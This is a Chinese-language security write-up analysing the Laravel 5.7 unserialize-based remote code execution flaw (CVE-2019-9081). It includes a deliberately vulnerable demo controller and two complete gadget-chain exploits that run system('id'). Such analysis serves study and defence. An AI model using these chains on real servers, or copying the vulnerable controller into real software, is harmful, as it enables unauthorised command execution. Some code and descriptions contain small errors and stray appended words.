Laravel 5.7 RCE (CVE-2019-9081)

Laravel 代碼審計php

環境搭建

  • Laravel 5.7 文檔 : https://learnku.com/docs/laravel/5.7/installation/2242laravel

  • Composer 下載 : wget https://getcomposer.org/download/1.8.6/composer.phar 獲取 composer.phargit

  • 參照 https://www.jianshu.com/p/438a95046403 安裝 Composer 和 Laravelgithub

  • composer create-project laravel/laravel laravel57 "5.7.*" 安裝 Laravel 5.7 並生成 laravel57 項目web

  • 進入項目文件夾,使用 php artisan serve 啓動 web 服務bootstrap

  • laravel57/routes/web.php 文件添加路由數組

    Route::get("/","\App\Http\Controllers\DemoController@demo");
  • laravel57/app/Http/Controllers/ 下添加 DemoController 控制器緩存

    namespace App\Http\Controllers;
    
    class DemoController
    {
        public function demo()
        {
            if(isset($_GET['c'])){
                $code = $_GET['c'];
                unserialize($code);
                return "peri0d";
            }
    
        }
    }

Laravel 項目文件夾結構

  • app : 包含了應用的核心代碼
    • Broadcasting : 包含應用程序的全部廣播頻道類,默認不存在
    • Console : 包含了全部自定義的 Artisan 命令
    • Events : 存放了 事件類。可使用事件來提醒應用其餘部分發生了特定的操做,使應用程序更加的靈活和解耦。默認不存在
    • Exceptions : 包含了應用的異常處理器,也是應用拋出異常的好地方
    • Http : 包含了控制器、中間件和表單請求。幾乎全部的進入應用的請求的處理邏輯都被放在這裏
    • Jobs : 存放了應用中的 隊列任務 。 應用的任務能夠被推送到隊列或者在當前請求的生命週期內同步運行。在當前請求期間同步運行的任務能夠看作是一個「命令」,由於它們是 命令模式 的實現。默認不存在
    • Listeners : 包含了用來處理 事件 的類。事件監聽器接收事件實例並執行響應該事件被觸發的邏輯。默認不存在
    • Mail : 包含應用全部的郵件發送類。默認不存在
    • Notifications : 包含應用發送的全部「業務性」通知,好比關於在應用中發生的事件的簡單通知。默認不存在
    • Policies : 包含了應用的受權策略類。策略能夠用來決定一個用戶是否有權限去操做指定資源。默認不存在
    • Providers : 包含應用的全部服務提供者。服務提供者經過在服務容器中綁定服務、註冊事件、以及執行其餘任務來爲即將到來的請求作準備來啓動應用。
    • Rules : 包含應用自定義驗證規則對象。這些規則意在將複雜的驗證邏輯封裝在一個簡單的對象中。默認不存在
  • bootstrap : 包含啓動框架的 app.php ,還包含 cache 目錄,其下存放框架生成的用來提高性能的文件,好比路由和服務緩存文件
  • config : 包含應用程序全部的配置文件
  • database : 包含數據填充和遷移文件以及模型工廠類
  • public : 包含入口文件 index.php,它是進入應用程序的全部請求的入口點。還包含一些資源文件,好比圖片、JS 和 CSS
  • resources : 包含了視圖和未編譯的資源文件(如 LESS、SASS 或 JavaScript )。此目錄還包含全部的語言文件
  • routes : 包含了應用的全部路由定義
  • storage : 包含編譯後的 Blade 模板、session 會話生成的文件、緩存文件以及框架生成的其餘文件
  • tests : 包含自動化測試文件
  • vendor : 包含全部的 Composer 依賴包,其中也包含了 Laravel 源碼

第一種漏洞分析

  • 漏洞觸發點位於 Illuminate/Foundation/Testing/PendingCommand.php 中的 run 方法,該文件的功能就是命令執行並獲取輸出,PendingCommand.php 又定義了 __destruct() 方法,思路就是構造 payload 觸發 __destruct() 方法進而調用 run 方法實現 rcesession

  • 根據已有的 exp 來看,PendingCommand 類的屬性以下app

    $this->app;         // 一個實例化的類 Illuminate\Foundation\Application
    $this->test;        // 一個實例化的類 Illuminate\Auth\GenericUser
    $this->command;     // 要執行的php函數 system
    $this->parameters;  // 要執行的php函數的參數  array('id')
  • unserialize($code) 處下斷點調試,觀察調用棧,發現有幾個加載函數,spl_autoload_call()Illuminate\Foundation\AliasLoader->load()Composer\Autoload\ClassLoader->loadClass()Composer\Autoload\includeFile()

  • 在加載完所須要的類後,會進入 PendingCommand 類的 __destruct() 方法。因爲 hasExecuted 默認是 false,因此會去執行 run() 函數,run() 函數會在第 8 行執行命令,其代碼以下

    public function run()
    {
      $this->hasExecuted = true;
    
        $this->mockConsoleOutput();
    
        try {
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
        } catch (NoMatchingExpectationException $e) {
            if ($e->getMethodName() === 'askQuestion') {
                $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
            }
            throw $e;
    }
  • run() 中首先執行了 mockConsoleOutput() ,該函數主要功能就是模擬控制檯輸出,此時又會加載一些所須要的類。代碼以下

    protected function mockConsoleOutput()
    {
        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),]);
        foreach ($this->test->expectedQuestions as $i => $question) {
            $mock->shouldReceive('askQuestion')
                ->once()
                ->ordered()
                ->with(Mockery::on(function ($argument) use ($question) {
                    return $argument->getQuestion() == $question[0];
                }))
                ->andReturnUsing(function () use ($question, $i) {
                    unset($this->test->expectedQuestions[$i]);
                    return $question[1];
                });
        }
        $this->app->bind(OutputStyle::class, function () use ($mock) {
            return $mock;
        });
    }
  • mockConsoleOutput() 中又調用了 createABufferedOutputMock() 。在 createABufferedOutputMock() 函數中,首先調用 mock() 函數,它的做用主要是進行對象模擬。而後進入循環,要遍歷 $this->test 類的 expectedOutput 屬性,可是在能夠實例化的類中不存在這個屬性。當訪問一個類中不存在的屬性時會觸發 __get() ,經過去觸發 __get() 方法去進一步構造 pop 鏈。

    private function createABufferedOutputMock()
    {
        $mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
            ->shouldAllowMockingProtectedMethods()
            ->shouldIgnoreMissing();
        foreach ($this->test->expectedOutput as $i => $output) {
            $mock->shouldReceive('doWrite')
                ->once()
                ->ordered()
                ->with($output, Mockery::any())
                ->andReturnUsing(function () use ($i) {
                    unset($this->test->expectedOutput[$i]);
                });
        }
        return $mock;
    }
  • 這裏選擇 Illuminate\Auth\GenericUser,其 __get() 魔術方法以下

    public function __get($key)
      {
          return $this->attributes[$key];
      }
  • 此時 $this->test 是咱們傳入的 Illuminate\Auth\GenericUser 的實例化對象,則 $this->attributes[$key] 經過反序列化是可控的,所以咱們能夠構造$this->attributes鍵名爲expectedOutput的數組。這樣一來$this->test->expectedOutput就會返回$this->attributes中鍵名爲expectedOutput的數組

  • 回到 mockConsoleOutput() 中,又進行了一次 for 循環,調用了 $this->test->expectedQuestions ,循環體與 createABufferedOutputMock() 大體相同,因此能夠構造 $this->attributes鍵名爲expectedQuestions的數組繞過

  • 而後就能夠走出 mockConsoleOutput() 方法,進入命令執行的關鍵點 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); ,這裏 Kernel::class 是個固定值,爲 Illuminate\Contracts\Console\Kernel ,這裏須要搞清楚 $this->app[Kernel::class] ,能夠獲得以下的函數調用順序

    • Container.php:1222, Illuminate\Foundation\Application->offsetGet()

      // key = Illuminate\Contracts\Console\Kernel
      public function offsetGet($key)
      {
          return $this->make($key);
      }
    • Application.php:751, Illuminate\Foundation\Application->make()

      // abstract = Illuminate\Contracts\Console\Kernel
      public function make($abstract, array $parameters = [])
      {
          $abstract = $this->getAlias($abstract);
          if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
              $this->loadDeferredProvider($abstract);
          }
          return parent::make($abstract, $parameters);
      }
    • Container.php:609, Illuminate\Foundation\Application->make()

      // abstract = Illuminate\Contracts\Console\Kernel
      public function make($abstract, array $parameters = [])
      {
          return $this->resolve($abstract, $parameters);
      }
    • Container.php:652, Illuminate\Foundation\Application->resolve()

      // abstract = Illuminate\Contracts\Console\Kernel
      protected function resolve($abstract, $parameters = [])
      {
          $abstract = $this->getAlias($abstract);
          $needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract));
          if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
              return $this->instances[$abstract];
          }
          $this->with[] = $parameters;
          $concrete = $this->getConcrete($abstract);
          // concrete = Illuminate\Foundation\Application
          if ($this->isBuildable($concrete, $abstract)) {
              $object = $this->build($concrete);
          } else {
              $object = $this->make($concrete);
          }
          foreach ($this->getExtenders($abstract) as $extender) {
              $object = $extender($object, $this);
          }
          if ($this->isShared($abstract) && ! $needsContextualBuild) {
              $this->instances[$abstract] = $object;
          }
          $this->fireResolvingCallbacks($abstract, $object);
          $this->resolved[$abstract] = true;
          array_pop($this->with);
          return $object;
      }
    • Container.php:697, Illuminate\Foundation\Application->getConcrete()

      // abstract = Illuminate\Contracts\Console\Kernel
      protected function getConcrete($abstract)
      {
          if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
              return $concrete;
          }
          if (isset($this->bindings[$abstract])) {
              return $this->bindings[$abstract]['concrete'];
          }
          return $abstract;
      }
  • getConcrete()方法中出了問題,致使能夠利用 php 的反射機制實例化任意類。在 getConcrete() 方法中,判斷 $this->bindings[$abstract]) 是否存在,若存在則返回 $this->bindings[$abstract]['concrete']bindingsContainer.phpContainer 類的屬性,所以咱們只須要找到一個繼承自 Container 的類,就能夠經過反序列化控制 $this->bindings 屬性。Illuminate\Foundation\Application 繼承自 Container 類。$abstractIlluminate\Contracts\Console\Kernel ,只需經過反序列化定義 Illuminate\Foundation\Application$bindings 屬性存在鍵名爲 Illuminate\Contracts\Console\Kernel 的二維數組就能進入該分支語句,返回咱們要實例化的類名。在這裏返回的是 Illuminate\Foundation\Application 類。

  • 在實例化 Application類 的時候, 要知足 isBuildable() 才能夠進行 build

    protected function isBuildable($concrete, $abstract)
    {
        return $concrete === $abstract || $concrete instanceof Closure;
    }
  • 此時明顯不知足條件,因此接着執行 $object = $this->make($concrete); ,在 make() 函數中成功將 $abstract 從新賦值爲 Illuminate\Foundation\Application,從而成功繞過 isBuildable() 函數,進入 $this->build 方法,就能看到使用ReflectionClass反射機制,實例化咱們傳入的類。

  • 在返回一個 Illuminate\Foundation\Application 對象以後,exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); 又調用了 call() 方法,因爲 Illuminate\Foundation\Application 沒有 call() 方法,因此會調用父類 Illuminate\Container\Containercall() 方法。

    public function call($callback, array $parameters = [], $defaultMethod = null)
    {
        return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
    }
  • 跟進 BoundMethod::call()

    public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
    {
        if (static::isCallableWithAtSign($callback) || $defaultMethod) {
            return static::callClass($container, $callback, $parameters, $defaultMethod);
        }
        return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );
        });
    }
  • isCallableWithAtSign() 處判斷回調函數是否爲字符串而且其中含有 @ ,而且 $defaultMethod 默認爲 null,很明顯不知足條件,進入 callBoundMethod() ,該函數只是判斷 $callback 是否爲數組。後面的匿名函數直接調用 call_user_func_array() ,而且第一個參數咱們可控,參數值爲 system ,第二個參數由 getMethodDependencies() 方法返回。跟進 getMethodDependencies()

    protected static function getMethodDependencies($container, $callback, array $parameters = [])
    {
        $dependencies = [];
        foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
            static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
        }
        return array_merge($dependencies, $parameters);
    }
  • getCallReflector() 用於反射獲取 $callback 的對象, 而後執行 addDependencyForCallParameter()$callback 的對象添加一些參數,最後將咱們傳入的 $parameters 數組和 $dependencies 數組合並, $dependencies 數組爲空。最後至關於執行了 call_user_func_array('system',array('id'))

  • exp

    <?php
    // gadgets.php
    namespace Illuminate\Foundation\Testing{
      class PendingCommand{
          protected $command;
          protected $parameters;
          protected $app;
          public $test;
    
          public function __construct($command, $parameters,$class,$app)
          {
              $this->command = $command;
              $this->parameters = $parameters;
              $this->test=$class;
              $this->app=$app;
          }
      }
    }
    
    namespace Illuminate\Auth{
      class GenericUser{
          protected $attributes;
          public function __construct(array $attributes){
              $this->attributes = $attributes;
          }
      }
    }
    
    namespace Illuminate\Foundation{
      class Application{
          protected $hasBeenBootstrapped = false;
          protected $bindings;
    
          public function __construct($bind){
              $this->bindings=$bind;
          }
      }
    }
    ?>
    <?php
    // chain.php
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
        )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
            array(
                "concrete"=>"Illuminate\Foundation\Application"
            )
        )
    );
    $exp = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('id'),
        $genericuser,
        $application
    );
    
    echo urlencode(serialize($exp));
    ?>
  • 調用棧分析 :

    Illuminate\Foundation\Testing\PendingCommand->__destruct()
      $test = Illuminate\Auth\GenericUser
          attributes = array(
              "expectedOutput"=>array("0"=>"1"),
              "expectedQuestions"=>array("0"=>"1")
          )
      $app = Illuminate\Foundation\Application
          array(
              "Illuminate\Contracts\Console\Kernel" => 
              array(
                  array("concrete"=>"Illuminate\Foundation\Application")
              )
          )
      $command = "system"
      $parameters = array("id")
    
    Illuminate\Foundation\Testing\PendingCommand->run()
      Illuminate\Foundation\Testing\PendingCommand->mockConsoleOutput()
          Illuminate\Foundation\Testing\PendingCommand->createABufferedOutputMock()
          // 在 foreach 中訪問 expectedOutput 屬性,可是 GenericUser 類沒有這個屬性,故而調用 __get() 方法
              Illuminate\Auth\GenericUser->__get()
              // return attributes["expectedOutput"]
              // return array("0"=>"1")
      // 在 foreach 中訪問 expectedQuestions 屬性,可是 GenericUser 類沒有這個屬性,故而調用 __get() 方法
          Illuminate\Auth\GenericUser->__get()
          // return attributes["expectedQuestions"]
          // return array("0"=>"1")
    
    // Application 繼承了 Container 因此這至關於執行父類的 offsetGet()
    Illuminate\Foundation\Application->offsetGet()
      // key : Illuminate\Contracts\Console\Kernel
      Illuminate\Foundation\Application->make()
      // abstract : Illuminate\Contracts\Console\Kernel
      Illuminate\Foundation\Application->make()
      // abstract : Illuminate\Contracts\Console\Kernel
          Illuminate\Foundation\Application->resolve()
          // abstract : Illuminate\Contracts\Console\Kernel
              Illuminate\Foundation\Application->getConcrete()
              // $this->bindings[$abstract]['concrete'] : Illuminate\Foundation\Application
    
    Illuminate\Foundation\Application->call()
      Illuminate\Container\BoundMethod->call()
          Illuminate\Container\BoundMethod->getMethodDependencies()

第二種漏洞分析

  • 一樣的,在 PendingCommand 類的 mockConsoleOutput() 函數處,去觸發 __get() 方法構造 pop 鏈,這裏選擇 Faker\DefaultGenerator 類,其 __get() 方法以下 :

    public function __construct($default = null)
    {
        $this->default = $default;
    }
  • 一樣的方法繞過 mockConsoleOutput() 函數,運行到 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters); 處。只不過此次的關注點在於 resolve() 函數的 $this->instances[$abstract]

    // abstract = Illuminate\Contracts\Console\Kernel
    protected function resolve($abstract, $parameters = [])
    {
        $abstract = $this->getAlias($abstract);
        $needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract));
        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            // 在這裏返回一個可控的實例化對象
            return $this->instances[$abstract];
        }
        $this->with[] = $parameters;
        $concrete = $this->getConcrete($abstract);
        if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }
        foreach ($this->getExtenders($abstract) as $extender) {
            $object = $extender($object, $this);
        }
        if ($this->isShared($abstract) && ! $needsContextualBuild) {
            $this->instances[$abstract] = $object;
        }
        $this->fireResolvingCallbacks($abstract, $object);
        $this->resolved[$abstract] = true;
        array_pop($this->with);
        return $object;
    }
  • instancesContainer.phpContainer 類的屬性。所以咱們只須要找到一個繼承自 Container 的類,就能夠經過反序列化控制 $this->instances 屬性。Illuminate\Foundation\Application 繼承自 Container 類。$abstractIlluminate\Contracts\Console\Kernel ,只需經過反序列化定義 Illuminate\Foundation\Application$instances 屬性存在鍵名爲 Illuminate\Contracts\Console\Kernel 的數組就能返回咱們要實例化的類名。在這裏返回的是 Illuminate\Foundation\Application 類。

  • 其他的就和第一種相同了,不一樣點在於構造可控實例化對象的方法不一樣

  • exp :

    <?php
    // gadgets.php
    namespace Illuminate\Foundation\Testing{
        class PendingCommand{
            protected $command;
            protected $parameters;
            protected $app;
            public $test;
    
            public function __construct($command, $parameters,$class,$app)
            {
                $this->command = $command;
                $this->parameters = $parameters;
                $this->test=$class;
                $this->app=$app;
            }
        }
    }
    
    namespace Faker{
        class DefaultGenerator{
            protected $default;
    
            public function __construct($default = null)
            {
                $this->default = $default;
            }
        }
    }
    
    namespace Illuminate\Foundation{
        class Application{
            protected $instances = [];
            public function __construct($instance){
                $this->instances["Illuminate\Contracts\Console\Kernel"] = $instance;
            }
        }
    }
    ?>
    <?php
    // chain.php
    $defaultgenerator = new Faker\DefaultGenerator(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
    $app = new Illuminate\Foundation\Application();
    $application = new Illuminate\Foundation\Application($app);
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand('system', array('id'), $defaultgenerator, $application);
    
    echo urlencode(serialize($pendingcommand));
    ?>

思考

  • 代碼調試的技巧
  • 函數調用棧的分析
  • 可控點的尋找

參考連接

  • https://xz.aliyun.com/t/5483
  • https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
  • https://www.jianshu.com/p/438a95046403
相關文章
相關標籤/搜索